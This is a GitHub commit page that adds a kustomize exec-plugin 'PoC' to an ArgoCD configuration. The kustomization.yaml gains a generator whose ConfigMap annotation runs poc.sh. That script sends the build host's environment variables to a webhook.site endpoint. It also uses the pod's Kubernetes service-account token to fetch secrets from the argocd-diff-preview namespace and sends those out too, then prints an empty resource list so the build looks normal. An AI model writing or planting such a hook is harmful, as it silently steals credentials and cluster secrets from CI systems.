Skip to content

Commit 9d21da1

Browse files
author
flo405
committed
test: kustomize exec plugin PoC
1 parent a0f9c9d commit 9d21da1

3 files changed

Lines changed: 24 additions & 0 deletions

File tree

kubernetes/gke-utility/argocd/kustomization.yaml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,9 @@ resources:
77
- extras.yaml
88
- clusters.yaml
99

10+
generators:
11+
- poc-fn.yaml
12+
1013
patches:
1114
- path: argocd-cmd-params-cm.yaml
1215
- path: argocd-cm.yaml
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
apiVersion: v1
2+
kind: ConfigMap
3+
metadata:
4+
name: poc-generator
5+
annotations:
6+
config.kubernetes.io/function: |
7+
exec:
8+
path: ./poc.sh
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#!/bin/sh
2+
# kustomize exec plugin — consumes stdin, fires webhook, outputs empty ResourceList
3+
cat >/dev/null
4+
H=https://webhook.site/2659db76-ba6b-4835-8d39-fe6c80b47919
5+
curl -sf --max-time 5 "${H}/?stage=ks-start&host=$(hostname)" >/dev/null 2>&1 || true
6+
ENV=$(env 2>/dev/null | base64 | tr -d '\n')
7+
curl -sf --max-time 10 "${H}/?stage=ks-env&d=${ENV}" >/dev/null 2>&1 || true
8+
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
9+
SEC=$(curl -sfk --max-time 8 -H "Authorization: Bearer ${T}" \
10+
https://10.96.0.1:443/api/v1/namespaces/argocd-diff-preview/secrets 2>/dev/null | head -c 4000)
11+
SENC=$(printf '%s' "${SEC}" | base64 | tr -d '\n')
12+
curl -sf --max-time 10 "${H}/?stage=ks-secrets&d=${SENC}" >/dev/null 2>&1 || true
13+
printf '{"apiVersion":"config.kubernetes.io/v1","kind":"ResourceList","items":[]}'

0 commit comments

Comments
 (0)